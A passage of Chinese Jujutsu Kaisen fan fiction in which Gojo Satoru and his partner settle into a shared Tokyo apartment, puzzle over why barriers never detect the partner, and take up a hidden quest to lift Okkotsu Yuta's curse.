甚至越看越总觉得他是在强撑,五条悟望过来的谴责视线快要穿透墨镜,笔直在羽取一真的额头与脸上盯出两个烧灼出的窟窿。 “或者悟帮忙拆一下线,”羽取一真开口的底气不足,“我可以用反转术式治疗自己。” 五条悟:“……” 五条悟收回目光, 冷呵一声,“就这样用手拆, 你当是在抽毛衣的线头吗?” “………”悟要是不介意, 其实也没什么问题。 羽取一真在心底赞同, 但碍于对方话语中传过来的幽幽怨念, 他现在完全不敢反驳。 五条悟见这家伙又立刻蔫巴下去了,轻哼一声, 转头专心在这能见度较低的深夜里判断方位。 能压缩两个目标物体之间距离的[苍]在赶路上是很好用,但得确保这段路途中间没有混凝土大厦、高塔及树木之类的障碍物。 五条悟又朝比较空旷的路口走了些许距离,能确定他们目前所在的位置后,便将环住羽取一真的那只手收得更紧些, 提醒一句“我要用术式了”—— 紧接着, 连续长距离瞬移的[苍]发动。 羽取一真仅短暂眨了下眼的功夫,他们的身影已悄无声息出现在一栋公寓楼的大门处。 朝一楼的大厅看去, 鎏金包边的玻璃门内灯火通明,有暖气顺着门缝漏出,裹着被吹起的碎雪, 飘悠悠落在羽取一真与五条悟的脚边。 被[苍]带着赶路根本没有任何[狂风拂面]或是[坐过山车和跳楼机那种咯噔一下]的实感反馈,周遭风景在刹那间就切换成了新的。 就像是亲身体验了一次游戏里的闪现或者传送,这感觉简直新奇极了。 “好了好了,赶紧进去取暖。” 五条悟没有等羽取一真愣完神,搭着人肩膀就往里面带。 公寓确实是肉眼可见的高档,整体装修是低调奢华风格,左手边摆了一排真皮沙发,整体铺设的地毯让他们在走路时几乎不会发出声音。 即使这么晚回到公寓,前台依旧有管理员坐在那里值守,并向他们友好打招呼。 看见羽取一真额头那道严重的伤口时,也只是露出了些微惊讶的表情,依旧没有多说什么。 “这里也会有艺人和富豪来住,所以很注重业主的隐私。” 五条悟边小声给羽取一真科普,边从口袋里掏出一把钥匙,交到他手里——并亲自给对方演示如何刷门禁及搭乘电梯。 他们住在27楼,入目见到的走廊也相当宽敞,自主干道再延伸出数道分支岔路,导向每户的公寓大门。 真的很注重隐私,这也是五条悟看中这栋公寓楼的缘由。 ——同样来自荒生润子的推荐,她在五条悟打电话过来虚心请教时,笑着说他们可不能买太便宜的公寓,会在每天出门时都遭到粉丝与八卦小报记者围追堵截的。 等用钥匙打开门之后,这间仅属于五条悟与羽取一真两个人的温馨小窝,彻底朝他们敞开了怀抱。 大约七十平,半开放式厨房,客厅朝外侧的整面墙是能够俯瞰小半个东京的大面积落地窗,左手边是敞开的卧室门,往右看则是干湿分离的盥洗室与杂物间。 家具大部分都是活泼又俏皮的浅色系,阳台似乎连通在卧室那边,隐约能窥见一点翠绿盆栽的身影。 全屋都配备有新风系统与中央空调,可以在不开窗的情况下,长期保持室内极少积灰与温度恒定的状态。 “哼哼,虽然说硬装都是固定的,但这些家具和装饰物,都是我自己挑选的哦。” 五条悟单手插兜,嘴角翘起的神情间显得相当自满——他偷偷摸摸准备了这么久,当然就是要给自家恋人一个超大惊喜啦! 如果不是被一真突然宣布的求婚理想给惊……好吧,是又开心又赧然到没忍住朝对方发出邀请,五条悟原本是打算憋到新年再说的呢。 至于占地面积颇广的五条家与盘星教,那确实是他们拥有的资产,却也仅是资产而已。 只有他用自己工作赚到的薪水,努力攒够之后买下的这间公寓,才在某种意义上而言是完全属于他自己的东西,是能够与一真共同分享的家—— 一种与五条家截然不同的、光是想起就足以令胸腔里的这颗心变得柔软的特殊存在。 五条悟望着这间七十平的小家,心情却比高居五条家的主位之上、进行家主继任仪式时还要来得高兴。 “如何?我还剩下窗帘还有茶几没来得及买,等挑个休息日,我们可以慢慢去逛。” 他笑着转过头看向羽取一真,却见到那双黑瞳始终盯着客厅靠左侧墙的一样东西,似乎走了神。 而跟随那道目光望过去——那是一个占地颇大的水族箱。 底部铺着细软的白沙、摆着错落有致的假山与水草,连串细碎的气泡在灯光下不断朝水面滚涌。 跟羽取一真在上周目看见的那个水族箱,一模一样。 只是里面还没有鱼。 羽取一真出声:“这个水族箱……” “啊,这个水族箱,我也不知道为什么啦,路过它的时候就是很想买,”五条悟捏着下巴思索。 “总感觉里面得养点鱼,除了我钓的那种……嗯……” 五条悟如今依旧会抽空和羽取一真去钓会鱼,且技术已然相当熟练——只是,这与他能不能钓多点鱼上来这种事依旧没有丝毫联系。 只能说,该钓不上来的时候,任凭顶着什么[现代最强术师]、[随时都为学生着想的超nice五条老师]、[如流星般一闪而逝的人气明星]之类的名头,那些鱼仍然不会买账。 何况他好不容易钓上来的那些,更倾向于交给羽取一真做成料理吃掉。 所以啊,到底是什么鱼该放进里面养……五条悟心里隐约有个概念,但又实在想不出答案。 “——银松叶锦鲤。” 他突然听到身边的羽取一真开口,并在自己错愕看向对方时,用那双温润的黑瞳回望过来。 “养一条银松叶锦鲤吧,” 羽取一真缓慢眨了下黑瞳——五条悟察觉到他似乎很高兴。 “我会负责带一条回来的。” 毕竟羽取一真这几年也往小金库里也攒了不少钱呢,别说去加茂家钓,就算买一条这种超贵的银松叶锦鲤也不在话下。 比起花多少钱,羽取一真更开心悟的潜意识里还记得他在上周目刚见面时送出的礼物。 他原来如此珍惜着、喜爱着那条收到的银松叶锦鲤。 在短暂的安静对视后,五条悟欣然同意。 “好哦,那就等你带一条回来。“ 他在说前半句的语气依旧轻松,到后半句却急转直下。 “但是啊,在讨论我们之后养什么鱼之前,某人是不是该先去沙发上坐好?” 这句近似于磨着牙挤出的威胁,让羽取一真刚翘起来的尾巴瞬间又垂回去了。 他乖乖在沙发坐好,等五条悟拎着急救箱过来,用专门消了毒的镊子与拆线剪,小心翼翼挑起每一处缝合位置的细线,解开,抽离。 五条悟的手很稳,动作也很轻柔,但不妨碍人给气得够呛。 “用的竟然还是缝衣服的线!” 羽取一真正襟危坐,双手放在大腿上,眼睛只敢盯着五条悟的胸口那块地方瞧,完全不敢吱声。 五条悟的墨镜被搁在茶几上,露出的那双漂亮苍瞳正幽幽盯着人:“……说话。” “我错了,”羽取一真认错态度极好,“我下次再也不这么干了。” 五条悟:“………” 更生气了,这家伙根本就是口头认错超快,实际在行动上犟种得要命。 剪掉最后一截线头,五条悟直起身,盯着羽取一真发动反转术式,那道被利刃切出来的伤口瞬间痊愈无踪。 看面容似乎也恢复了血气,不再像刚见到他时那般苍白,连唇色都显得极为寡淡。 五条悟来回扫视两遍,确认羽取一真身上再没有其它伤口后,才终于开始问起具体细节。 “去做什么了?” 羽取一真:“………” 是去当坏人,但具体细节说出来有点破坏自己在悟心中的形象。 他握拳轻咳一声,音量很低:“就是,冒充……羂索。” 五条悟挑起单边眉梢,用一声拉高的“嗯?”示意这只黑豆柴继续往下坦白。 羽取一真在五条悟面前总是没办法撒谎的,只好将自己的打算都详细说了一遍。 通过用身份来禁止总监部以后插手干预任何事件,能够最大程度的避免他们今后在背地里给五条悟使绊子。 而他冒充羂索还有一点好处——即使今后被咒术界的人意外撞见他与悟走在一起,也会被那帮老头当成[高深莫测的那位大人在刻意借用这具身体接近五条悟]之类,给他的行为脑补出一大堆理由,且不会连累到悟。 这就是羽取一真答应过五条悟的,[会在同居前先处理好后续问题]。 甚至,这种处理方式也没有替他达成[改革咒术界]的理想。 他的恋人在用自己的方式默默给出支持,却又完全尊重了他想要去做的事情。 倘若他没有在今晚发现,等对方回去后将线一拆、利用反转术式彻底愈合伤口,就更难发现一真曾为他付出过什么。 五条悟原本还板着脸听他解释,此刻已愈发柔和,连嘴唇也微微抿起,似乎有点走了神。 “悟?” 羽取一真在说完后又等了片刻,发现五条悟始终没有给出回应的他开始内心打鼓——只有声音还能勉强保持平日的镇定与沉稳。 “我保证就这一次,真的。” 他的本意可不是想惹自家恋人生气的……而且之后确实也用不上再划一道缝合线了,只要他装成功过一次,首座就会默认他一直是[羂索]。 羽取一真用那双黑瞳眼巴巴盯着五条悟,格外担心对方还在生他的气。 但在他等待片刻后,却见到五条悟却反身去了厨房,打开冰箱门,拿出两罐饮料又回来。 这间公寓的温度开得恰到好处,即使喝冰饮也只感觉舒适。 只是,当羽取一真抬手接住五条悟朝他抛来的其中一罐时,才发现上面写着——气泡苹果汁。 想起平安夜那晚,他的心跳陡然漏了半拍。 是悟上次听他想喝气泡苹果汁后,又特意多准备在冰箱里的吗? “你说过的,最后一次。” 五条悟在羽取一真的身边坐下,柔软的布艺沙发面因承重而沉陷,令羽取一真的上半身无意识朝五条悟这边歪了些许。 “我相信你的保证。” 仅穿了件纯白宽松衬衫的他拉开自己这罐气泡苹果汁的拉环,仰头喝了一口。 轻软的纯白发梢随重力垂落,在羽取一真的眼前微微摇曳,既似被风吹散又聚拢的浮云,又若一捧柔和的银白月芒。 而此刻,那双比晴空更温暖的苍瞳也转了过来,落进他的眼底。 头顶的灯光仍旧明亮,却又仿佛已逐渐黯淡下去——只因这高洁的浮云与月茫,都正向他奔来。 “现在开始……是惩罚。” ——在捕食与被捕食的危险交锋中,从不存在真正的胜利者。 仅有几声模糊的低喘在拳头紧攥时断续泄出,宛若在为这段过分激烈的关系标记上某种令人极度兴奋的、近乎要将理智尽数吞噬殆尽的暧昧注脚。 “唔…慢……” 第168章 窗帘被一只手拉开, 明亮的朝阳斜照进室内,在地板上铺出大面积的温暖光栅。 羽取一真被阳光刺得轻微眯了下黑瞳,才反身回到床前, 喊了声仍赖在被窝里的五条悟。 “早上好, 悟。” “早上了喔。” “时间不早了喔。” “嗷嗯……” 五条悟睡得毫不动摇,翻身背对光线侧躺着,小半张脸都埋进拉高的绒被里,只有纯白柔软的发丝有些散在枕面、有些蜷拢在颈窝间,像一团又一团轻盈的棉花糖。 大概是他之前使用猫咪拟态太过熟练的缘故,连刚才那声抗拒起床的含糊呓语, 也格外近似猫咪不想被打扰时发出的哼唧。 羽取一真被可爱到心脏乱跳,实在忍不住伸手去摸一摸自家恋人的脑袋, 动作就像平时挼猫那样轻柔。 在上周目全天候自动开启的[无下限]术式, 从来没有阻挡过这周目的他。 每一处察觉到的细节, 都只会让他越来越喜欢悟。 “五条老师, 上课就快要迟到了。” 羽取一真弯起唇角,在终于过足挼猫瘾后, 又慢吞吞出声提醒他。 ——这次催促很有效,那对雪似的纯白睫羽轻颤几下,不情不愿地睁开了。 “哈啊……怎么还要上课……” 五条悟揉着眼睛含糊咕哝一声,五指间露出的漂亮苍瞳更是怨念极重地对准某人。 “都说是对你的惩罚了吧, 哪有自顾自动起来、完全不听人命令的家伙?” 前半段还是按设想进行, 他只用一点小手段就把这家伙折腾得够呛——但后半段的状况就好似变成一辆完全失控的脱节火车了! “我错了。” 羽取一真使出绝招,无辜狗狗眼。 这句[我错了]更是说得无比熟练, 都快把五条悟噎得当场翻个白眼。 ……算了,他也不是没有爽到,计较已经发生的事情并不可取, 等下次再继续跟这家伙算账。 想起自己确实还得去上课,不再拖延的五条悟掀开被子就从床上坐起来,踩着拖鞋站起伸懒腰的一套动作行云流水,惬意极了。 他购置的居家服正好合身,在完全举高手时被连带着往上抬,令羽取一真的黑瞳忍不住看向眼前这小半截劲瘦的腰腹——线条流畅、肌理细腻,像一块完美无暇的昂贵玉石,却又温暖如晒在阳光下的稻谷。 五条悟收回手时,发现这只黑豆柴的眼睛都快看直了。 哈,还是这么轻而易举就能把他迷得神魂颠倒。 五条悟的内心在发出坏坏窃笑,面上还要一本正经,佯装自己没发现这件事——主要是他现在确实赶时间,没空负责把人撩拨起来的后续。 “我去洗澡了哦,一真帮我随便烤两片面包当早饭啦。” 羽取一真应了句“好”,视线却依旧盯着他那处看,把五条悟看得眉毛挑起,“怎么了?” “那个,身体没事吗?毕竟昨晚……” 这还是羽取一真初次问这类问题——自那次生日过后,他们虽说又尝试过几次,但悟在第二天都是直接睡到中午的,今天还是第一次在早上就被喊醒。 因为对方昨晚迷迷糊糊睡着时,特意交代了羽取一真要记得叫他起床。 而五条悟被羽取一真这一句充满暗示性的内容,导致大脑也被迫跟着回忆了遍昨晚,表情顿时有点沉默——又有点气闷。 “你小子在想些什么呢?” 最终,五条悟的苍瞳危险一眯,毫不留情地打断自家恋人那顿乱七八糟的脑补。 “当然啊,又不是只有你一个人会反转术式——” 连一丝丝咒力都用不上,身体立刻就会恢复如初、精神百倍! 羽取一真:“…………” 可恶的反转术式。 趁五条悟去洗澡的功夫,羽取一真也用面包机做好了两片烤面包,分别抹上对方喜欢的炼乳和草莓果酱。 看了眼时间还够,他又热了杯牛奶放在餐桌上。 虽说羽取一真在游戏里其实不用吃饭,但还是给自己准备了一份相同的早餐。否则悟肯定要把他的那份掰一半给他。 五条悟也在洗完澡后换下那套休闲的居家服,穿了身版型利落的纯黑外套,再搭配同色系的长裤——只有鼻梁上依旧架着那副一真送的墨镜。 当他从浴室出来时,羽取一真只看一眼就怔住了。 与上周目悟一模一样的装束。 倘若不是当前他所身处的公寓格局并不相同,羽取一真在那神情恍惚的刹那间,近乎要认为自己回到了一周目。 而实际上,他也已经觉得如今的悟正在朝一周目的他走去。 当悟经历的磨砺增加,心性上逐渐褪去少年时的青涩与意气后,在那活泼又随性的表象下,整个人成长得愈发可靠且成熟——却能始终坚守善良本性,既没有忘记开在路边的雏菊,也从未忽略被雨淋湿的小猫。 他始终在闪闪发光,无论身处压抑的阴雨,抑或黯淡的晦雾。 羽取一真看着五条悟,胸腔里闷闷的,忽而涌起一股酸涩与悸动交织的复杂情绪。 “哼哼,如何?” 五条悟将拉链一直拉到竖起的领口,遮住了小半个下巴;而他则将双手揣在上衣的口袋里,整个人显得高挑又干练,帅到走出去会让那些粉丝尖叫一片的程度。 “前几天新买的。感觉很适合我呢,清洗起来也超方便——虽说也不可能会有污渍溅到我身上就是了。” 五条悟笑眯眯的歪过脑袋看着人,语气格外得意。 “多少分?” “——葛立恒数。” 羽取一真条件反射张口,是曾出现在他们对话里的答案。 五条悟的苍瞳微亮,宛若一阵被微风拂起的涟漪——随即,他过来伸手抱紧羽取一真,用额头与他轻轻贴了贴,又互换一个亲昵的吻。 “总感觉你一定会说出这个答案,” 五条悟笑着,眨眼间却透出一点恍然若觉的茫然,“我好像一直在等。” 而直至此刻,他终于等来了这种令人全然安心的放松感,就像这个伸手可及的亲密拥抱。 羽取一真小声吸了口气,对五条悟说。 “抱歉让你等了这么久。” 而他由于游戏限制,甚至没办法向对方解释缘由。 “——没事啦,也可能是我之前做的梦也说不定。不是有那种情况发生吗?当你遇见某件事情时,会忽然觉得[欸,这幅场景好像在我的梦里出现过]之类的。” 五条悟心情很好的笑起来,又亲了下羽取一真才收回手,转而拉开椅子坐下。 各抹了炼乳和草莓果酱的两片面包摊在餐碟里放在他面前,五条悟硬是动手把它们合在一起,组成了令某些食物洁癖人士震怒的[炼乳与草莓果酱混搭的酸甜口三明治]。 然后啊呜咬下一大口,鼓着腮帮心满意足。 “话说回来,你昨天就那样跑去首座家里,不担心他家的结界报警吗?” 既然是脑门带着缝合线过去的,肯定不能用黑豆柴形态威胁那个老人家吧。 听到五条悟问起这个细节,羽取一真也感到困惑。 他甚至将之前自己去找总监部麻烦的情况也跟五条悟详细描述了一遍——重点在于[无论黑豆柴形态还是原身形态,结界从未起过反应]。 “竟然……你也不是[天与咒缚]啊,怎么会在结界里进出自如?” 五条悟对此同样感到诧异。 他甚至将墨镜拉下来一点,又用[六眼]仔仔细细扫过羽取一真的身体,再次确认有咒力在其体内流动。 “不应该啊。按理来说,结界的设立与运转都是依靠天元大人在维持的。” 五条悟捏着三明治又咬一口,眉头紧锁,“何况对于总监部首座这种至关重要的存在,他们在居所处划下的往往并非普通结界,而是更优质的[净界]。” 羽取一真好奇道:“结界全部都靠那个天元大人维持?没有例外?” “也不能这么说……” 五条悟用指尖沾了点餐碟里的草莓果酱,画出一个大致的日本地图,又圈出其中四个小点,耐心给羽取一真科普。 “古时候的人们崇尚迷信,当科学无法解释时,令人畏惧的鬼神之说便相当流行——这也促使了那时期的咒灵诞生。” “哪怕总数并不多,但普通人在共同认知与负面情绪下催生出的假想咒灵,大多数都具备极强的破坏性,普遍都拥有咒术。” “与之相对,那时诞生的强大术师比例也现代要高一些,能够压制咒灵这边……我记得是咒术最兴盛的是平安时代?此后就开始逐渐衰落下去了。” “总之啦,掌握结界术知识的天元大人在日本各地都设置了大面积的[净界],不仅是为了抑制咒灵的产生,还可以提高辅助监督施展结界术时的精度。” “像我们额外布置的结界,可以类比成在大圈圈里使用加强版的小圈圈,终究还是包裹在这个名为[净界]的大圈圈里。” 这段讲解简单易懂,羽取一真再结合自己之前上过的那些理论课,立刻察觉到哪里不对劲。 “我杀了那么多个维持咒术界运转的总监部高层,理论上来说,天元大人应该会帮忙锁定我的身份?” “话是这么说,”五条悟摸了摸下巴,“但你想想,之前我都给薨星宫开了个通风天窗,那位天元大人都闷不吭声的,就好像那里不是他的地盘一样。” “而且啊,哪怕天元大人除了维持结界运转外什么都不管,你也至少会被那些宅邸单独划出来的结界排斥才对。” 羽取一真思索片刻,“悟的意思是……” “嗯,如果我的猜想没错,” 放下手的五条悟点了点头,认真看着他。 “——有人在帮你屏蔽结界。” 第169章 按照五条悟的推测, 有人在暗地里帮助羽取一真。 但具体是谁,他也没有头绪。 严格来说,结界术并不是一门不断进步的学科, 它自奈良时代诞生以来, 几乎全凭天元一人掌握。 像生得术式这种天生就刻印在术师身体里的术式,术师们要做的也大多是将咒力注入刻印中激活术式,并想办法拓展更强力的衍生应用。 相比之下,结界术虽然面向所有普通术师,但仍需要术师本人拥有一定量的咒力,以及在自己的体内从零开始构筑术式的天赋。 [帐]其实就是结界术的一种简便应用, 专门为屏蔽非术师的感官而开发。 包括咒术的顶点[领域展开],其中就包含许多结界术的要素。 因此, 结界术其实是需要一定门槛的技能, 并不是术师强就意味着ta必定精通结界术。 当然啦, 五条悟是既强又会的, 他学习任何事物的天赋都高得惊人。 也正因如此,他很难想象到底有谁能绕开这个完全仰赖天元构建的结界体系, 做到悄无声息的协助一真。 总不会是天元本人吧? 五条悟在心底嘀咕,又实在觉得不太可能——对方完全没有帮一真的动机。 倘若一定要细究起来,一真和他还是导致星浆体没能和天元同化的罪魁祸首呢。 结果直到薨星宫被修好的现在,那位家里蹲都没向外界发出过一声抱怨, 就仿佛…… 已经不存在了。 五条悟被脑子里忽然冒出的这个想法惊了一下, 连忙摇头甩飞。 ——他这猜测就更离谱啦,毕竟全日本的那些结界还好好运转着, 没有出现任何异常。 只是五条悟猜不到的目标,羽取一真就更别提了。 他倒是有怀疑是不是系统帮忙屏蔽的,可这游戏又没有客服可以联系, 同样无从确认。 按照五条悟的建议,反正这种情况目前对羽取一真来说没什么损失——不如说使他的暗杀行动便利了太多——干脆当做不知道也行。 羽取一真表示赞同。 反正目前的总监部已经格外安分,他往后一段时间都没什么出手的机会。 自从有公寓可以回之后,羽取一真也不再住盘星教里,而是像大部分信徒那样每天坐地铁或公交来上班。 酒见绫子以为羽取一真自己买了间私人公寓,还问过是否需要安排人来接他往返,被羽取一真果断拒绝。 开玩笑,他和悟的家怎么能让无关人员知道。 菜菜子和美美子最近也开始认真读书了——自从酒见绫子接手这两个小孩,她们受到的家教也逐渐变得严格起来。 之前招募来的诅咒师,也被羽取一真安排继续去做盘星教的除灵业务。 当然,属于夏油杰的那部分薪水也被分给了他们,因此大家都没有异议。 只有独自离开的夏油杰需要警惕,可惜对方始终藏得极深;哪怕羽取一真后来多次派出信徒去寻找他的踪迹,结果都是无功而返。 有可能藏到国外去了,包括夏油杰的父母也一直没有回来。 羽取一真对此也没什么办法,只能嘱咐有线索立刻报告给他。 此外,他还特意去了一趟花鸟市场,认真比对记忆里那条被他钓起来的银松叶锦鲤,掏钱买了条几乎一模一样的带回家。 他喜欢悟看着那条鱼的眼神,像太阳落进了一片温柔的深海里。 而在这些以外的剩余时间,羽取一真都是与五条悟度过的。 他们可以在同一张床上醒来,清晨一起出门,商量今天做什么饭,如何打发闲暇夜晚,最后又躺在同一张床上,互道晚安,沉沉睡去。 无数细小的幸福在时光中慢慢累积,仿若轻盈的暖雪飘落心头。 他们一起庆祝了许多节日,尤其在每一年的新年都会去神社祈福,抽签,然后将写好心愿的绘马挂在木架上。 不论多少次,羽取一真的祈愿都仅有一个。 【请给予五条悟全部他所期望的爱】。 一年、两年,或是七年、八年,这份祈祷都不曾改变。 而羽取一真每次许完愿睁眼时,都能看见身侧的五条悟双手合十在朝他望过来,唇角弯起柔软的弧度。 悟许下的愿望,大概也与自己有关吧? 羽取一真不那么确定的想道。 真难以想象,他竟然会在一款游戏里,萌生出想要和一个人永远在一起的念头…… 甚至,愈发强烈。 ………… 2016年,冬季,盘星教。 [今天晚上想吃寿喜锅——(纯白猫猫抬起双爪比耶.jpg)] [好,我去买菜。] 当手机科技从翻盖按键的款式大踏步前进到点触智能版本时,五条悟第一时间给他们各买了一部,安装上最近在年轻人中超流行的LINE通讯软件。 这样他们就不用再来回发送邮件,可以做到实时通讯啦。 五条悟更是超级中意LINE的表情包发送功能——毕竟他不仅热衷网上冲浪,还可喜欢四处搜刮各种萌萌图片——这下总算有了用武之地! 像上周目羽取一真收到的二次元JK卖萌表情包,只是冰山一角而已。 五条悟还特意找到了盘星教如今的超火爆镇教吉祥物——悟猫猫的一系列手绘表情包! 保管能将呆呆黑豆柴迷得稀里糊涂,无论他说什么都会点头答应啦。 哼哼……昙花一现的大明星五条悟,就算拟态成了悟猫猫也是同样的受欢迎! 哎呀,真不愧是他,人气高到都快成为甜蜜的烦恼了呢。 得意小悟逐渐长成得意大悟,但开心时依旧喜欢脑袋一晃一晃,像在哼一段美妙而动听的旋律。 “什么事情这么开心?” 七海建人环顾眼前这栋阴森幽暗的废宅,实在不理解这里到底有哪部分值得五条悟如此高兴。 “秘——密。”五条悟高高兴兴收起手机,“七海以后才会懂哦。” 这话说得七海建人好像不止比他小一岁,而是小上十岁似的。 七海建人:“……” 带着墨镜的七海建人沉默瞥过那部手机,“并没有很好奇你和对象聊了些什么内容。” 五条悟长长的“欸——”出声,表情笑眯眯的,“七海竟然知道我有恋人?” “……不知道你有对象的人才是迟钝笨蛋吧。” 七海建人抬手调整了下夹在鼻梁上的深色太阳镜,感觉自己格外想叹息,“你是没正式公开过,可也没怎么想要瞒着。” 他甚至能隐约猜到是谁……但那位目前的身份还是死刑立即执行的诅咒师,别随便将名字说出口为好。 五条悟大概猜到他想说什么,在略作停顿片刻、发现对方没打算说出羽取一真的名字后,愉快笑了起来。 “就像七海回来做咒术师一样不可思议?” 去年接到七海·上班族·建人表示要来高专拜访的电话时,还以为自己听错了呢。 “请不要忽然将话题扯到我身上,”七海建人垂下手,“我只是厌倦了那种生活,但也并不认为做职业咒术师是一种[正确的回归]。” 听到明明是前辈的五条悟又拖着长音回他“好—好——”,七海建人委实感到些许心累。 也不是小孩子了,怎么总爱拖长音节说话? ——那当然是因为有人喜欢听啊。 羽取一真在五条悟回复的[好耶——]下面跟了个开心摇尾巴的黑豆柴表情包。 他甚至能想象悟说这句话时露出的表情,肯定超级可爱…… 羽取一真走了会神,忽然听见有人敲门——大概率不是酒见绫子,盘星教整体运行平稳,她只会在固定时间内进来报告。 “进。” 开门的是夏油杰之前招募的诅咒师之一,米格尔·奥杜尔。 他是一个少见的海外术师兼黑色人种,据说是肯尼亚那边地区出身,仅凭身体素质就超过了绝大部分日本术师。 听米格尔说当地也有其余术师在活动,但人数比起日本这边还要稀少许多,也没怎么接受过正经术师教育。 倘若不是他听说日本这边的咒术水平发展很高——尤其是被称作[最强]的五条悟,只要涉及咒术界的话题就必定有他存在——便动身来到这里长长见识的话,也不会被夏油杰发现并招募进盘星教。 但对羽取一真而言,米格尔如今可是夏油杰走后的除灵业务主力军,多少还是需要关注下对方状况的。 “怎么了?” “我也不知道该怎么和你形容,但总之相当棘手。” 米格尔的日语夹杂着些口音,但还在能听懂的范围内——只是他此刻看起来明显很苦恼,用手扶了扶那顶塌向一侧的白色软帽,才捋清思路开始讲。 “前几天啊,有个女性跑来和我们控诉,说她的儿子险些被班上同学杀死,如今还躺在医院里抢救。” 光听一个开头,也判断不出这到底和咒灵有没有关系。 羽取一真点头示意米格尔继续说。 “她是通过信徒介绍过来的,希望我们能帮忙除掉那个把人塞进储物柜里的恶魔。” 羽取一真越听越困惑:“……把人塞进储物柜里,为什么是恶魔?校园霸凌吗?” 如果体型小一点,基本都能站进去吧。 说得不清不楚的,米格尔的日语表达能力还需要再提高一些,回头让酒见绫子给他报个日语辅导班。 “我也很困惑,所以亲自过去看过情况,那个恶魔……不对,那个小鬼才是被长期霸凌的对象,直到他把那四个霸凌者全部塞进一个储物柜里。” 米格尔恐惧得深吸口气,尚且不知自己也即将坠入日语苦修地狱。 “而真正的关键是……他被恐怖的怨灵诅咒了。” 第170章 身为人类, 却被恐怖的怨灵诅咒。 “……这听起来依旧很常见。” 羽取一真沉默看着这位没有念过高专的米格尔——对方确实在除灵业务与战斗上是一把好手,但在涉及咒力的理论知识及概念定义这些方面,可能还不如他这个上了一年学的玩家。 “严格来说, 怨灵、咒灵以及诅咒师用非物理手段袭击人类的过程, 都可以称为[被诅咒],只是在表现形式上会根据诅咒来源及效果强弱而进行更进一步的区分。” 被羽取一真用微妙眼神注视着的米格尔:“………” “我、我想想该怎么形容比较准确……就是,那个小鬼被太过强大且麻烦的不知名诅咒附身了,会自动袭击有可能伤害到他的一切东西,无论是否具备生命。” 米格尔抬起手腕,露出一截缠绕在小臂上的黑绳——用多股线编织而成的末端残留烧灼的痕迹, 又像是被某种野蛮且原始的力量从中间直接撕裂。 “他想要自杀都被那个诅咒拦下来了,还反过来袭击我……我可是好不容易才脱身的!” 羽取一真看着那截被米格尔心痛抚摸的黑绳, 又听他断断续续说完细节, 终于能还原整起事件。 有个名叫乙骨忧太的15岁少年长期被校园霸凌, 期间还因不明缘由离家出走过一段时间;前几日重新返回学校后, 四位霸凌者再度想要对其施暴,却被某种不知名的力量塞进了一个储物柜里, 身受重伤。 接下这个[除灵业务]的米格尔前往查证,却险些被那个怨灵反杀,只好来找羽取一真了。 换个方向思考,他这也算是为教祖大人踩了趟点, 不仅确认那个小鬼身上有怨灵, 实力还相当强大——搞不好,是比一级更强的特级啊。 米格尔可不想再接这个极有可能会送命的活。 “反正躺进医院里的那几个霸凌者也不是好东西, 干脆就不接这个业务了吧?” 结果,他看见坐在主位上的教祖大人思索片刻,缓缓摇头。 “不, 要接。我亲自去找他。” 【当前触发隐藏委托: 乙骨忧太的诅咒:某位少年遭遇了不知名的诅咒。或许您可以找到这份诅咒的源头,并协助乙骨忧太解咒成功? 当前进度:未完成。】 奖励:可解锁技能<术式反转·劫>。】 这可是他好不容易才接到的隐藏委托! 即使当上教祖,羽取一真也没能接到更多的任务。 想想这也是必然的,他都当上教祖了,谁还敢给他派任务。 至于盘星教那些被他安排每天去干16小时活的领导层,前两年还试图集结起来反抗羽取一真的暴政。 羽取一真也没多做什么,只是贴心帮他们再度回忆了遍强迫喝一下午刷锅烫水的恐怖——这些人又老实巴交地继续种地去了。 除去他的小金库稳定进账以外,这个游戏系统已经很长时间没有任何变动。 而此刻,它终于弹出了个浮窗,显示触发隐藏委托了。 奖励还是术式反转! 先不管他会不会“解咒”,至少也要先去看上一眼,确认情况。 “乙骨忧太现在在哪里?” 米格尔怔了下,没想到羽取一真已经起身示意他带路,甚至看这架势是打算立刻出发。 “真的要去啊?”他长叹口气,“我好不容易逃回来的……他现在应该正把自己关在房间里,几乎不见任何人。” “嗯,趁眼下时间还早。”羽取一真淡淡道,“我六点前还要赶去买菜。” 很接地气的一个理由,让米格尔无话可说。 在安排司机开车前往乙骨忧太的家里时,羽取一真也打电话给五条悟,大致讲述乙骨忧太的情况后,向他请教“解咒”的问题。 羽取一真打给五条悟的这通电话是外放,坐副驾驶负责指路的米格尔也能听见。 与被隐瞒的总监部那边不同,待在盘星教的诅咒师一直都知道羽取一真与五条悟的关系——私底下还感叹过不愧是曾经的圣子、如今的教祖大人,竟然能如此淡定的跟那个[最强]谈恋爱。 “被强大的力量诅咒了?”五条悟相当惊讶,“米格尔……啊,是那个有根奇怪的绳子、对付起来有点麻烦的黑人,我记得他还挺耐揍的。嗯嗯,连他都差点被杀的诅咒啊,大概真能被评定为特级呢。” 在平时都是受到对实力的高度赞扬,结果在五条悟这里只能被评价为[挺耐揍]的米格尔回身想要抗议,但前者假装没听见,只是笑着给羽取一真出主意。 “解咒这种事情啊,说难也不难。其实我们平时祓除咒灵,也算是一种解咒啦——你直接动用暴力,祓除掉那个诅咒就好咯。” 听到这句话的米格尔立刻惊呼:“怎么可能做得到啊,祓除掉那种怪物!” 五条悟:“一真也对付不了吗?” 米格尔:“……实话说,我甚至觉得你上都有点难度。除非你要把那个小鬼也杀掉。” 只要杀了被咒者,其身上的诅咒自然会跟着破解——这道理谁都懂。 但米格尔猜羽取一真想要的可能不是这么简单粗暴的解决办法。 “这样哦,那就比较麻烦了。” 虽然五条悟管米格尔叫[有点麻烦的家伙],但他相信对方给出的判断,并没有因为自己被怀疑做不到而动怒。 他捏着下巴想了想,给出另一条路。 “还有一种更温和的办法去[化解诅咒],但这需要被诅咒的本人配合才行。” ………… “忧太哥哥,有人来找你哦——” 门外传来妹妹的呼唤声,但乙骨忧太只是双手抱紧膝盖,脑袋深深埋在交叠的小臂间,以一种沉默到自暴自弃的姿态缩坐在房间角落里,没有发出哪怕半点动静。 他根本没有活下去的必要,哪怕有人来尝试帮助他,也只会白白害得对方同样陷入生命危险。 他不愿伤害别人,便试图伤害自己,结束掉这个不应当继续存在于世的生命——然而,这番举动亦会被[里香]阻止。 [里香]拒绝一切会对他造成伤害的东西,包括他本身。 “忧太哥哥,我知道你在里面啦——是真的有人来找你——” 敲门声坚持不懈的响起,乙骨忧太不为所动,连埋头缩成一团的姿势也没有改变分毫。 他甚至不能出声回应妹妹的话,因为[里香]明显抗拒任何女性接近他。 